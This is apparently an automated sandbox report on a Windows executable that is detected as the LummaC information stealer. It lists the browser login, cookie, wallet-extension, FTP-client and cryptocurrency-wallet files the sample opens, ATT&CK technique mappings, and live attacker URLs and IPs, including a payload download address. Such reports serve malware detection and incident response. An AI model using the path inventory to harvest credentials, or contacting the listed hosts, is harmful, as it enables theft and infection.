Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ATJBEMHSSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1435855496.000000000138E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	761 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://property-imper.sbs/0914	0%	Avira URL Cloud	safe
https://property-imper.sbs/apiY	0%	Avira URL Cloud	safe
https://property-imper.sbs/t	0%	Avira URL Cloud	safe
http://185.215	0%	Avira URL Cloud	safe
https://property-imper.sbs:443/api9	0%	Avira URL Cloud	safe
https://property-imper.sbs/apiz	0%	Avira URL Cloud	safe
https://property-imper.sbs/apiO	0%	Avira URL Cloud	safe
https://property-imper.sbs/api=	0%	Avira URL Cloud	safe
https://property-imper.sbs/api6	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exe(w	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
property-imper.sbs	104.21.33.116	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://property-imper.sbs/api	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_114.7.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/0914	file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_114.7.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/t	file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Youssef1313	chromecache_114.7.dr	false		high
https://property-imper.sbs/apiY	file.exe, 00000000.00000003.1476241587.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1432777993.000000000139D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1516306485.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_106.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_114.7.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_114.7.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_114.7.dr, chromecache_78.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://github.com/gewarren	chromecache_114.7.dr	false		high
http://185.215	file.exe, file.exe, 00000000.00000003.1618123496.0000000001373000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.1722892264.000000000113B000.00000004.00000010.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1410564695.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://property-imper.sbs/apiz	file.exe, 00000000.00000003.1409218588.000000000139D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1409832918.000000000139D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1409489187.000000000139E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_114.7.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_114.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs:443/api9	file.exe, 00000000.00000003.1364151872.000000000138C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Thraka	chromecache_114.7.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://aka.ms/certhelp	chromecache_94.7.dr, chromecache_106.7.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, file.exe, 00000000.00000003.1618123496.0000000001373000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1410860155.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_114.7.dr	false		high
http://www.microsoft.	file.exe, 00000000.00000003.1516364900.000000000137F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_106.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/	file.exe, 00000000.00000003.1516364900.000000000137F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1410564695.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_114.7.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_114.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://github.com/adegeo	chromecache_114.7.dr	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_94.7.dr, chromecache_106.7.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1409650978.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://property-imper.sbs/apiO	file.exe, 00000000.00000003.1516364900.000000000137F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000000.00000003.1410860155.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1410860155.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://property-imper.sbs/api6	file.exe, 00000000.00000003.1435872175.000000000139A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1435855496.000000000138E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.1618123496.0000000001373000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_114.7.dr	false		high
https://channel9.msdn.com/	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1364378704.0000000005BDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1364456252.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_94.7.dr, chromecache_106.7.dr	false		high
https://property-imper.sbs/api=	file.exe, 00000000.00000003.1476241587.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1516306485.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exe(w	file.exe, 00000000.00000003.1618123496.0000000001373000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1723527128.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.33.116	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7
192.168.2.23

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561691
Start date and time:	2024-11-24 05:10:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@11/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 23.56.206.247, 184.30.17.189, 172.217.17.46, 74.125.205.84, 172.217.19.227, 2.20.41.214, 34.104.35.123, 20.42.73.26, 172.217.17.74, 142.250.181.106, 172.217.17.42, 172.217.19.234, 142.250.181.10, 172.217.19.202, 142.250.181.138, 172.217.19.170, 142.250.181.74, 172.217.19.10, 23.32.238.130, 2.19.198.56, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.217.17.35
